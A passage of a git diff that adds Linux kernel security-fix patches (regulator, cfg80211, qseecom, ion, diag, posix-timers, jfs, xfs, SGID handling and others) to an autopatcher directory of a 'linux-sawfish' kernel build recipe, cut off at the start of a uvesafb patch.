b/recipes-kernel/linux/linux-sawfish/autopatcher/0442-492fdce2626e-regulator core Fix buffer overflow issue.patch @@ -0,0 +1,30 @@ +From 492fdce2626efc01004bea4aed4ea89b7c5cb5b3 Mon Sep 17 00:00:00 2001 +From: Kiran Gunda +Date: Thu, 17 May 2018 17:00:34 +0530 +Subject: regulator: core: Fix buffer overflow issue + +There is a possible buffer overflow in the "reg_debug_volt_get" +function. Fix it by passing the appropriate byte count. + +Change-Id: I30868790c42cdb225af74054532a75c49506fe82 +Signed-off-by: Kiran Gunda +--- + drivers/regulator/core.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/regulator/core.c b/drivers/regulator/core.c +index 7b2a4b6..3bfc88b 100644 +--- a/drivers/regulator/core.c ++++ b/drivers/regulator/core.c +@@ -3824,7 +3824,7 @@ static ssize_t reg_debug_volt_get(struct file *file, char __user *buf, + mutex_lock(&debug_buf_mutex); + + output = snprintf(debug_buf, MAX_DEBUG_BUF_LEN-1, "%d\n", voltage); +- rc = simple_read_from_buffer((void __user *) buf, output, ppos, ++ rc = simple_read_from_buffer((void __user *) buf, count, ppos, + (void *) debug_buf, output); + + mutex_unlock(&debug_buf_mutex); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0443-135739e1facf-cfg80211 Fix use after free when process wdev events.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0443-135739e1facf-cfg80211 Fix use after free when process wdev events.patch new file mode 100644 index 0000000..7b7791b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0443-135739e1facf-cfg80211 Fix use after free when process wdev events.patch @@ -0,0 +1,34 @@ +From 135739e1facf79effe5a7932d1c183a04543fa28 Mon Sep 17 00:00:00 2001 +From: Zhu Jianmin +Date: Thu, 21 Jun 2018 17:09:40 +0800 +Subject: cfg80211: Fix use after free when process wdev events + +"bssid" is only initialized out of the while loop, in case of two +events with same type: EVENT_CONNECT_RESULT, but one has zero +ether addr, the other is non-zero, the bssid pointer will be +referenced twice, which lead to use-after-free issue. + +Change-Id: Ie8a24275f7ec5c2f936ef0a802a42e5f63be9c71 +CRs-Fixed: 2254305 +Signed-off-by: Zhu Jianmin +--- + net/wireless/util.c | 3 +-- + 1 file changed, 1 insertion(+), 2 deletions(-) + +diff --git a/net/wireless/util.c b/net/wireless/util.c +index a061a8a..1e010be 100644 +--- a/net/wireless/util.c ++++ b/net/wireless/util.c +@@ -819,8 +819,7 @@ void cfg80211_process_wdev_events(struct wireless_dev *wdev) + wdev_lock(wdev); + switch (ev->type) { + case EVENT_CONNECT_RESULT: +- if (!is_zero_ether_addr(ev->cr.bssid)) +- bssid = ev->cr.bssid; ++ bssid = ev->cr.bssid; + __cfg80211_connect_result( + wdev->netdev, bssid, + ev->cr.req_ie, ev->cr.req_ie_len, +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0444-18ce15db603e-msm sps Suppress bindunbind attributes.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0444-18ce15db603e-msm sps Suppress bindunbind attributes.patch new file mode 100644 index 0000000..2fb9b7c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0444-18ce15db603e-msm sps Suppress bindunbind attributes.patch @@ -0,0 +1,46 @@ +From 18ce15db603e19cfac9a2f4076f255e879100495 Mon Sep 17 00:00:00 2001 +From: Siva Kumar Akkireddi +Date: Thu, 5 Jul 2018 10:55:32 +0530 +Subject: msm: sps: Suppress bind/unbind attributes + +SPS driver does not support manual bind/unbind operations +through sysfs. Suppress the bind/unbind nodes. Do not free +SPS struct in sps_device_de_init since it is being done in +sps_exit, and also to avoid use-after-free. + +Change-Id: If6da6c5fb9d1a44d0420c6151f7f9d0a33cb2d04 +Signed-off-by: Siva Kumar Akkireddi +--- + drivers/platform/msm/sps/sps.c | 5 ++--- + 1 file changed, 2 insertions(+), 3 deletions(-) + +diff --git a/drivers/platform/msm/sps/sps.c b/drivers/platform/msm/sps/sps.c +index 03cc14a..2237db1 100644 +--- a/drivers/platform/msm/sps/sps.c ++++ b/drivers/platform/msm/sps/sps.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2011-2017, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2011-2018, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -1006,8 +1006,6 @@ static void sps_device_de_init(void) + "sps:%s:BAMs are still registered", __func__); + + sps_map_de_init(); +- +- kfree(sps); + } + + sps_mem_de_init(); +@@ -2989,6 +2987,7 @@ static struct platform_driver msm_sps_driver = { + .name = SPS_DRV_NAME, + .owner = THIS_MODULE, + .of_match_table = msm_sps_match, ++ .suppress_bind_attrs = true, + }, + .remove = msm_sps_remove, + }; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0445-a90f6d6ca5f7-diag Update mask buffer after reallocation.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0445-a90f6d6ca5f7-diag Update mask buffer after reallocation.patch new file mode 100644 index 0000000..f87e961 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0445-a90f6d6ca5f7-diag Update mask buffer after reallocation.patch @@ -0,0 +1,63 @@ +From a90f6d6ca5f7e54e1a493e9516696fb3159ca8f1 Mon Sep 17 00:00:00 2001 +From: Manoj Prabhu B +Date: Wed, 27 Jun 2018 16:05:57 +0530 +Subject: diag: Update mask buffer after reallocation + +Currently, reallocated mask update buffers are not +updated if the received mask range is more than the +mask update buffer length. Update the reallocated buffer +address before writing the mask to peripherals. + +CRs-Fixed: 2266693 +Change-Id: I6b506ce68e17b7da61926b0f9543157812a8c555 +Signed-off-by: Manoj Prabhu B +--- + drivers/char/diag/diag_masks.c | 13 +++++++++++-- + 1 file changed, 11 insertions(+), 2 deletions(-) + +diff --git a/drivers/char/diag/diag_masks.c b/drivers/char/diag/diag_masks.c +index 62b6e22..44eeca8 100644 +--- a/drivers/char/diag/diag_masks.c ++++ b/drivers/char/diag/diag_masks.c +@@ -168,10 +168,11 @@ static void diag_send_log_mask_update(uint8_t peripheral, int equip_id) + } + mask_info->update_buf = temp; + mask_info->update_buf_len = header_len + mask_size; ++ buf = temp; + } + + memcpy(buf, &ctrl_pkt, header_len); +- if (mask_size > 0) ++ if (mask_size > 0 && mask_size <= LOG_MASK_SIZE) + memcpy(buf + header_len, mask->ptr, mask_size); + mutex_unlock(&mask->lock); + +@@ -255,9 +256,16 @@ static void diag_send_event_mask_update(uint8_t peripheral) + } else { + mask_info->update_buf = temp; + mask_info->update_buf_len = temp_len; ++ buf = temp; + } + } +- memcpy(buf + sizeof(header), mask_info->ptr, num_bytes); ++ if (num_bytes > 0 && num_bytes < mask_info->mask_len) ++ memcpy(buf + sizeof(header), mask_info->ptr, num_bytes); ++ else { ++ pr_err("diag: num_bytes(%d) is not satisfying length condition\n", ++ num_bytes); ++ goto err; ++ } + write_len += num_bytes; + break; + default: +@@ -360,6 +368,7 @@ static void diag_send_msg_mask_update(uint8_t peripheral, int first, int last) + } else { + mask_info->update_buf = temp; + mask_info->update_buf_len = temp_len; ++ buf = temp; + pr_debug("diag: In %s, successfully reallocated msg_mask update buffer to len: %d\n", + __func__, mask_info->update_buf_len); + } +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0446-5e9ffcfa152e-ion invalidate the pool pointers after free.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0446-5e9ffcfa152e-ion invalidate the pool pointers after free.patch new file mode 100644 index 0000000..d44f6d5 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0446-5e9ffcfa152e-ion invalidate the pool pointers after free.patch @@ -0,0 +1,38 @@ +From 5e9ffcfa152ecb2832990c42fcd8a0f2e63c2c04 Mon Sep 17 00:00:00 2001 +From: Vinayak Menon +Date: Wed, 13 Jun 2018 20:59:29 +0530 +Subject: ion: invalidate the pool pointers after free + +ion_system_heap_destroy_pools frees the pool, but +does not invalidate the pointer. This can result in +a double free if ion_system_heap_create_pools fails, +and then causes ion_system_heap_create to call into +ion_system_heap_destroy_pools again from the error +path. This can happen in ion_system_heap_create when +one of the secure pool creation fails. + +Change-Id: Ic73ca78722aa5a575cc4dd7c1caa560b518094f2 +Signed-off-by: Vinayak Menon +--- + drivers/staging/android/ion/ion_system_heap.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +diff --git a/drivers/staging/android/ion/ion_system_heap.c b/drivers/staging/android/ion/ion_system_heap.c +index e3985f6..37b6ad4 100644 +--- a/drivers/staging/android/ion/ion_system_heap.c ++++ b/drivers/staging/android/ion/ion_system_heap.c +@@ -756,8 +756,10 @@ static void ion_system_heap_destroy_pools(struct ion_page_pool **pools) + { + int i; + for (i = 0; i < num_orders; i++) +- if (pools[i]) ++ if (pools[i]) { + ion_page_pool_destroy(pools[i]); ++ pools[i] = NULL; ++ } + } + + /** +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0447-d0ff4e91de66-ARM dts msm Untrusted pointer dereference.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0447-d0ff4e91de66-ARM dts msm Untrusted pointer dereference.patch new file mode 100644 index 0000000..018cf4a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0447-d0ff4e91de66-ARM dts msm Untrusted pointer dereference.patch @@ -0,0 +1,52 @@ +From d0ff4e91de66c3d80596878a64689506e9bb6240 Mon Sep 17 00:00:00 2001 +From: Monika Singh +Date: Tue, 24 Apr 2018 09:54:50 +0530 +Subject: ARM: dts: msm: Untrusted pointer dereference + +To avoid access of variable after being freed, using +list_first_entry_safe function to iterate over list +of given type, safe against removal of list entry. + +Change-Id: I70611fddf3e9b80b1affa3e5235be24eac0d0a58 +Signed-off-by: Monika Singh +--- + drivers/misc/qseecom.c | 9 ++++----- + 1 file changed, 4 insertions(+), 5 deletions(-) + +diff --git a/drivers/misc/qseecom.c b/drivers/misc/qseecom.c +index ea04f25..0480f0cf 100644 +--- a/drivers/misc/qseecom.c ++++ b/drivers/misc/qseecom.c +@@ -8430,6 +8430,7 @@ exit_unreg_chrdev_region: + static int qseecom_remove(struct platform_device *pdev) + { + struct qseecom_registered_kclient_list *kclient = NULL; ++ struct qseecom_registered_kclient_list *kclient_tmp = NULL; + unsigned long flags = 0; + int ret = 0; + int i; +@@ -8439,10 +8440,8 @@ static int qseecom_remove(struct platform_device *pdev) + atomic_set(&qseecom.qseecom_state, QSEECOM_STATE_NOT_READY); + spin_lock_irqsave(&qseecom.registered_kclient_list_lock, flags); + +- list_for_each_entry(kclient, &qseecom.registered_kclient_list_head, +- list) { +- if (!kclient) +- goto exit_irqrestore; ++ list_for_each_entry_safe(kclient, kclient_tmp, ++ &qseecom.registered_kclient_list_head, list) { + + /* Break the loop if client handle is NULL */ + if (!kclient->handle) +@@ -8466,7 +8465,7 @@ exit_free_kc_handle: + kzfree(kclient->handle); + exit_free_kclient: + kzfree(kclient); +-exit_irqrestore: ++ + spin_unlock_irqrestore(&qseecom.registered_kclient_list_lock, flags); + + if (qseecom.qseos_version > QSEEE_VERSION_00) +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0448-3dc27e3392c5-qseecom fix kclient free issue in qseecomremove.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0448-3dc27e3392c5-qseecom fix kclient free issue in qseecomremove.patch new file mode 100644 index 0000000..e8080c2 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0448-3dc27e3392c5-qseecom fix kclient free issue in qseecomremove.patch @@ -0,0 +1,50 @@ +From 3dc27e3392c582d0f5ad20db3690b122a3a236b1 Mon Sep 17 00:00:00 2001 +From: Zhen Kong +Date: Fri, 13 Jul 2018 12:02:32 -0700 +Subject: qseecom: fix kclient free issue in qseecom_remove + +Remove kzfree() after kclient list iteration to avoid invalid +pointer deference. + +Change-Id: I78922269e219fcb16d3cff05f8b168a75a3c05ae +Signed-off-by: Zhen Kong +--- + drivers/misc/qseecom.c | 15 +++++---------- + 1 file changed, 5 insertions(+), 10 deletions(-) + +diff --git a/drivers/misc/qseecom.c b/drivers/misc/qseecom.c +index f0140e8..e85b2b8 100644 +--- a/drivers/misc/qseecom.c ++++ b/drivers/misc/qseecom.c +@@ -8743,11 +8743,11 @@ static int qseecom_remove(struct platform_device *pdev) + &qseecom.registered_kclient_list_head, list) { + + /* Break the loop if client handle is NULL */ +- if (!kclient->handle) +- goto exit_free_kclient; +- +- if (list_empty(&kclient->list)) +- goto exit_free_kc_handle; ++ if (!kclient->handle) { ++ list_del(&kclient->list); ++ kzfree(kclient); ++ break; ++ } + + list_del(&kclient->list); + mutex_lock(&app_access_lock); +@@ -8760,11 +8760,6 @@ static int qseecom_remove(struct platform_device *pdev) + } + } + +-exit_free_kc_handle: +- kzfree(kclient->handle); +-exit_free_kclient: +- kzfree(kclient); +- + spin_unlock_irqrestore(&qseecom.registered_kclient_list_lock, flags); + + if (qseecom.qseos_version > QSEEE_VERSION_00) +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0449-b7190cd8cb4f-net ipcrouter Initialize the sockaddr in recvmsg handler.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0449-b7190cd8cb4f-net ipcrouter Initialize the sockaddr in recvmsg handler.patch new file mode 100644 index 0000000..84e6ab0 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0449-b7190cd8cb4f-net ipcrouter Initialize the sockaddr in recvmsg handler.patch @@ -0,0 +1,46 @@ +From b7190cd8cb4f73cd243596045080f2da99d8f8d4 Mon Sep 17 00:00:00 2001 +From: Arun Kumar Neelakantam +Date: Thu, 19 Jul 2018 14:25:22 +0530 +Subject: net: ipc_router: Initialize the sockaddr in recvmsg() handler + +sockaddr structure is filled with required information only which +results in few memory locations of structure with uninitialized data. + +Memset complete structure before using it to remove uninitialized data. + +CRs-Fixed: 2274853 +Change-Id: I181710bde100fb1553b925d9fdf227af35ff38b5 +Signed-off-by: Arun Kumar Neelakantam +--- + net/ipc_router/ipc_router_socket.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +diff --git a/net/ipc_router/ipc_router_socket.c b/net/ipc_router/ipc_router_socket.c +index a97b67e..cf3ee9e 100644 +--- a/net/ipc_router/ipc_router_socket.c ++++ b/net/ipc_router/ipc_router_socket.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2011-2016, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2011-2016, 2018, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -149,6 +149,7 @@ static int msm_ipc_router_extract_msg(struct msghdr *m, + if (addr && (hdr->type == IPC_ROUTER_CTRL_CMD_RESUME_TX)) { + temp = skb_peek(pkt->pkt_fragment_q); + ctl_msg = (union rr_control_msg *)(temp->data); ++ memset(addr, 0x0, sizeof(*addr)); + addr->family = AF_MSM_IPC; + addr->address.addrtype = MSM_IPC_ADDR_ID; + addr->address.addr.port_addr.node_id = ctl_msg->cli.node_id; +@@ -157,6 +158,7 @@ static int msm_ipc_router_extract_msg(struct msghdr *m, + return offset; + } + if (addr && (hdr->type == IPC_ROUTER_CTRL_CMD_DATA)) { ++ memset(addr, 0x0, sizeof(*addr)); + addr->family = AF_MSM_IPC; + addr->address.addrtype = MSM_IPC_ADDR_ID; + addr->address.addr.port_addr.node_id = hdr->src_node_id; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0450-31430f2b98f6-jfs Fix inconsistency between memory allocation and eabufmaxsize.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0450-31430f2b98f6-jfs Fix inconsistency between memory allocation and eabufmaxsize.patch new file mode 100644 index 0000000..5ab7ec1 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0450-31430f2b98f6-jfs Fix inconsistency between memory allocation and eabufmaxsize.patch @@ -0,0 +1,47 @@ +From 31430f2b98f6053933482e51d008124fc31bc3e0 Mon Sep 17 00:00:00 2001 +From: Shankara Pailoor +Date: Tue, 5 Jun 2018 08:33:27 -0500 +Subject: jfs: Fix inconsistency between memory allocation and ea_buf->max_size + +commit 92d34134193e5b129dc24f8d79cb9196626e8d7a upstream. + +The code is assuming the buffer is max_size length, but we weren't +allocating enough space for it. + +Signed-off-by: Shankara Pailoor +Signed-off-by: Dave Kleikamp +Cc: Guenter Roeck +Signed-off-by: Greg Kroah-Hartman +--- + fs/jfs/xattr.c | 10 ++++++---- + 1 file changed, 6 insertions(+), 4 deletions(-) + +diff --git a/fs/jfs/xattr.c b/fs/jfs/xattr.c +index 46325d5c34fc..405e8c42cb1a 100644 +--- a/fs/jfs/xattr.c ++++ b/fs/jfs/xattr.c +@@ -493,15 +493,17 @@ static int ea_get(struct inode *inode, struct ea_buffer *ea_buf, int min_size) + if (size > PSIZE) { + /* + * To keep the rest of the code simple. Allocate a +- * contiguous buffer to work with ++ * contiguous buffer to work with. Make the buffer large ++ * enough to make use of the whole extent. + */ +- ea_buf->xattr = kmalloc(size, GFP_KERNEL); ++ ea_buf->max_size = (size + sb->s_blocksize - 1) & ++ ~(sb->s_blocksize - 1); ++ ++ ea_buf->xattr = kmalloc(ea_buf->max_size, GFP_KERNEL); + if (ea_buf->xattr == NULL) + return -ENOMEM; + + ea_buf->flag = EA_MALLOC; +- ea_buf->max_size = (size + sb->s_blocksize - 1) & +- ~(sb->s_blocksize - 1); + + if (ea_size == 0) + return 0; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0451-2f5f58a8b5d8-posixtimers Sanitize overrun handling.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0451-2f5f58a8b5d8-posixtimers Sanitize overrun handling.patch new file mode 100644 index 0000000..e68d0ac --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0451-2f5f58a8b5d8-posixtimers Sanitize overrun handling.patch @@ -0,0 +1,154 @@ +From 2f5f58a8b5d8eb12cfc955cca62ccb5254bab951 Mon Sep 17 00:00:00 2001 +From: Thomas Gleixner +Date: Thu, 1 Nov 2018 13:02:38 -0700 +Subject: posix-timers: Sanitize overrun handling + +commit 78c9c4dfbf8c04883941445a195276bb4bb92c76 upstream. + +The posix timer overrun handling is broken because the forwarding functions +can return a huge number of overruns which does not fit in an int. As a +consequence timer_getoverrun(2) and siginfo::si_overrun can turn into +random number generators. + +The k_clock::timer_forward() callbacks return a 64 bit value now. Make +k_itimer::ti_overrun[_last] 64bit as well, so the kernel internal +accounting is correct. 3Remove the temporary (int) casts. + +Add a helper function which clamps the overrun value returned to user space +via timer_getoverrun(2) or siginfo::si_overrun limited to a positive value +between 0 and INT_MAX. INT_MAX is an indicator for user space that the +overrun value has been clamped. + +Reported-by: Team OWL337 +Signed-off-by: Thomas Gleixner +Acked-by: John Stultz +Cc: Peter Zijlstra +Cc: Michael Kerrisk +Link: https://lkml.kernel.org/r/20180626132705.018623573@linutronix.de +[florian: Make patch apply to v4.9.135] +Signed-off-by: Florian Fainelli +Reviewed-by: Thomas Gleixner +Signed-off-by: Sasha Levin +Signed-off-by: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + include/linux/posix-timers.h | 4 ++-- + kernel/time/posix-cpu-timers.c | 2 +- + kernel/time/posix-timers.c | 29 +++++++++++++++++++---------- + 3 files changed, 22 insertions(+), 13 deletions(-) + +diff --git a/include/linux/posix-timers.h b/include/linux/posix-timers.h +index 907f3fd191aca..3e28a1a8d8235 100644 +--- a/include/linux/posix-timers.h ++++ b/include/linux/posix-timers.h +@@ -65,8 +65,8 @@ struct k_itimer { + spinlock_t it_lock; + clockid_t it_clock; /* which timer type */ + timer_t it_id; /* timer id */ +- int it_overrun; /* overrun on pending signal */ +- int it_overrun_last; /* overrun on last delivered signal */ ++ s64 it_overrun; /* overrun on pending signal */ ++ s64 it_overrun_last; /* overrun on last delivered signal */ + int it_requeue_pending; /* waiting to requeue this timer */ + #define REQUEUE_PENDING 1 + int it_sigev_notify; /* notify word of sigevent struct */ +diff --git a/kernel/time/posix-cpu-timers.c b/kernel/time/posix-cpu-timers.c +index 731d7a342670e..44c4e338f30e2 100644 +--- a/kernel/time/posix-cpu-timers.c ++++ b/kernel/time/posix-cpu-timers.c +@@ -103,7 +103,7 @@ static void bump_cpu_timer(struct k_itimer *timer, + continue; + + timer->it.cpu.expires += incr; +- timer->it_overrun += 1 << i; ++ timer->it_overrun += 1LL << i; + delta -= incr; + } + } +diff --git a/kernel/time/posix-timers.c b/kernel/time/posix-timers.c +index 2cca2e79c643e..c9e2c8d25289f 100644 +--- a/kernel/time/posix-timers.c ++++ b/kernel/time/posix-timers.c +@@ -348,6 +348,17 @@ static __init int init_posix_timers(void) + + __initcall(init_posix_timers); + ++/* ++ * The siginfo si_overrun field and the return value of timer_getoverrun(2) ++ * are of type int. Clamp the overrun value to INT_MAX ++ */ ++static inline int timer_overrun_to_int(struct k_itimer *timr, int baseval) ++{ ++ s64 sum = timr->it_overrun_last + (s64)baseval; ++ ++ return sum > (s64)INT_MAX ? INT_MAX : (int)sum; ++} ++ + static void schedule_next_timer(struct k_itimer *timr) + { + struct hrtimer *timer = &timr->it.real.timer; +@@ -355,12 +366,11 @@ static void schedule_next_timer(struct k_itimer *timr) + if (timr->it.real.interval.tv64 == 0) + return; + +- timr->it_overrun += (unsigned int) hrtimer_forward(timer, +- timer->base->get_time(), +- timr->it.real.interval); ++ timr->it_overrun += hrtimer_forward(timer, timer->base->get_time(), ++ timr->it.real.interval); + + timr->it_overrun_last = timr->it_overrun; +- timr->it_overrun = -1; ++ timr->it_overrun = -1LL; + ++timr->it_requeue_pending; + hrtimer_restart(timer); + } +@@ -389,7 +399,7 @@ void do_schedule_next_timer(struct siginfo *info) + else + schedule_next_timer(timr); + +- info->si_overrun += timr->it_overrun_last; ++ info->si_overrun = timer_overrun_to_int(timr, info->si_overrun); + } + + if (timr) +@@ -484,8 +494,7 @@ static enum hrtimer_restart posix_timer_fn(struct hrtimer *timer) + now = ktime_add(now, kj); + } + #endif +- timr->it_overrun += (unsigned int) +- hrtimer_forward(timer, now, ++ timr->it_overrun += hrtimer_forward(timer, now, + timr->it.real.interval); + ret = HRTIMER_RESTART; + ++timr->it_requeue_pending; +@@ -626,7 +635,7 @@ SYSCALL_DEFINE3(timer_create, const clockid_t, which_clock, + it_id_set = IT_ID_SET; + new_timer->it_id = (timer_t) new_timer_id; + new_timer->it_clock = which_clock; +- new_timer->it_overrun = -1; ++ new_timer->it_overrun = -1LL; + + if (timer_event_spec) { + if (copy_from_user(&event, timer_event_spec, sizeof (event))) { +@@ -755,7 +764,7 @@ common_timer_get(struct k_itimer *timr, struct itimerspec *cur_setting) + */ + if (iv.tv64 && (timr->it_requeue_pending & REQUEUE_PENDING || + timr->it_sigev_notify == SIGEV_NONE)) +- timr->it_overrun += (unsigned int) hrtimer_forward(timer, now, iv); ++ timr->it_overrun += hrtimer_forward(timer, now, iv); + + remaining = ktime_sub(hrtimer_get_expires(timer), now); + /* Return 0 only, when the timer is expired and not pending */ +@@ -817,7 +826,7 @@ SYSCALL_DEFINE1(timer_getoverrun, timer_t, timer_id) + if (!timr) + return -EINVAL; + +- overrun = timr->it_overrun_last; ++ overrun = timer_overrun_to_int(timr, 0); + unlock_timer(timr, flags); + + return overrun; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0452-f497869a6fea-alarmtimer Prevent overflow for relative nanosleep.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0452-f497869a6fea-alarmtimer Prevent overflow for relative nanosleep.patch new file mode 100644 index 0000000..2b91ca5 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0452-f497869a6fea-alarmtimer Prevent overflow for relative nanosleep.patch @@ -0,0 +1,54 @@ +From f497869a6feab016c2dfd58bf80decfe57348ed9 Mon Sep 17 00:00:00 2001 +From: Thomas Gleixner +Date: Mon, 2 Jul 2018 09:34:29 +0200 +Subject: alarmtimer: Prevent overflow for relative nanosleep + +[ Upstream commit 5f936e19cc0ef97dbe3a56e9498922ad5ba1edef ] + +Air Icy reported: + + UBSAN: Undefined behaviour in kernel/time/alarmtimer.c:811:7 + signed integer overflow: + 1529859276030040771 + 9223372036854775807 cannot be represented in type 'long long int' + Call Trace: + alarm_timer_nsleep+0x44c/0x510 kernel/time/alarmtimer.c:811 + __do_sys_clock_nanosleep kernel/time/posix-timers.c:1235 [inline] + __se_sys_clock_nanosleep kernel/time/posix-timers.c:1213 [inline] + __x64_sys_clock_nanosleep+0x326/0x4e0 kernel/time/posix-timers.c:1213 + do_syscall_64+0xb8/0x3a0 arch/x86/entry/common.c:290 + +alarm_timer_nsleep() uses ktime_add() to add the current time and the +relative expiry value. ktime_add() has no sanity checks so the addition +can overflow when the relative timeout is large enough. + +Use ktime_add_safe() which has the necessary sanity checks in place and +limits the result to the valid range. + +Fixes: 9a7adcf5c6de ("timers: Posix interface for alarm-timers") +Reported-by: Team OWL337 +Signed-off-by: Thomas Gleixner +Cc: John Stultz +Link: https://lkml.kernel.org/r/alpine.DEB.2.21.1807020926360.1595@nanos.tec.linutronix.de +Signed-off-by: Sasha Levin +Signed-off-by: Greg Kroah-Hartman +--- + kernel/time/alarmtimer.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/kernel/time/alarmtimer.c b/kernel/time/alarmtimer.c +index 119847b93ba69..0436d5edbccf3 100644 +--- a/kernel/time/alarmtimer.c ++++ b/kernel/time/alarmtimer.c +@@ -776,7 +776,8 @@ static int alarm_timer_nsleep(const clockid_t which_clock, int flags, + /* Convert (if necessary) to absolute time */ + if (flags != TIMER_ABSTIME) { + ktime_t now = alarm_bases[type].gettime(); +- exp = ktime_add(now, exp); ++ ++ exp = ktime_add_safe(now, exp); + } + + if (alarmtimer_do_nsleep(&alarm, exp)) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0453.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0453.diff new file mode 100644 index 0000000..c785d3d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0453.diff @@ -0,0 +1,16 @@ +diff --git a/fs/xfs/libxfs/xfs_attr_leaf.c b/fs/xfs/libxfs/xfs_attr_leaf.c +index 905b0cd..7f73cb5 100644 +--- a/fs/xfs/libxfs/xfs_attr_leaf.c ++++ b/fs/xfs/libxfs/xfs_attr_leaf.c +@@ -702,9 +702,8 @@ + ASSERT(blkno == 0); + error = xfs_attr3_leaf_create(args, blkno, &bp); + if (error) { +- error = xfs_da_shrink_inode(args, 0, bp); +- bp = NULL; +- if (error) ++ /* xfs_attr3_leaf_create may not have instantiated a block */ ++ if (bp && (xfs_da_shrink_inode(args, 0, bp) != 0)) + goto out; + xfs_idata_realloc(dp, size, XFS_ATTR_FORK); /* try to put */ + memcpy(ifp->if_u1.if_data, tmpbuffer, size); /* it back */ diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0454-0fa3ecd87848-Fix up nondirectory creation in SGID directories.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0454-0fa3ecd87848-Fix up nondirectory creation in SGID directories.patch new file mode 100644 index 0000000..6e08a52 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0454-0fa3ecd87848-Fix up nondirectory creation in SGID directories.patch @@ -0,0 +1,46 @@ +From 0fa3ecd87848c9c93c2c828ef4c3a8ca36ce46c7 Mon Sep 17 00:00:00 2001 +From: Linus Torvalds +Date: Tue, 3 Jul 2018 17:10:19 -0700 +Subject: Fix up non-directory creation in SGID directories + +sgid directories have special semantics, making newly created files in +the directory belong to the group of the directory, and newly created +subdirectories will also become sgid. This is historically used for +group-shared directories. + +But group directories writable by non-group members should not imply +that such non-group members can magically join the group, so make sure +to clear the sgid bit on non-directories for non-members (but remember +that sgid without group execute means "mandatory locking", just to +confuse things even more). + +Reported-by: Jann Horn +Cc: Andy Lutomirski +Cc: Al Viro +Signed-off-by: Linus Torvalds +--- + fs/inode.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/fs/inode.c b/fs/inode.c +index 2c300e9817960..8c86c809ca17b 100644 +--- a/fs/inode.c ++++ b/fs/inode.c +@@ -1999,8 +1999,14 @@ void inode_init_owner(struct inode *inode, const struct inode *dir, + inode->i_uid = current_fsuid(); + if (dir && dir->i_mode & S_ISGID) { + inode->i_gid = dir->i_gid; ++ ++ /* Directories are special, and always inherit S_ISGID */ + if (S_ISDIR(mode)) + mode |= S_ISGID; ++ else if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP) && ++ !in_group_p(inode->i_gid) && ++ !capable_wrt_inode_uidgid(dir, CAP_FSETID)) ++ mode &= ~S_ISGID; + } else + inode->i_gid = current_fsgid(); + inode->i_mode = mode; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0455-7568ba6cc409-video uvesafb Fix integer overflow in allocation.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0455-7568ba6cc409-video uvesafb Fix integer overflow in allocation.patch new file mode 100644 index 0000000..e590ca7 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0455-7568ba6cc409-video uvesafb Fix integer overflow in allocation.patch @@ -0,0 +1,36 @@ +From 7568ba6cc40986d9553820da9468f94d0591942b Mon Sep 17 00:00:00 2001 +From: Kees Cook +Date: 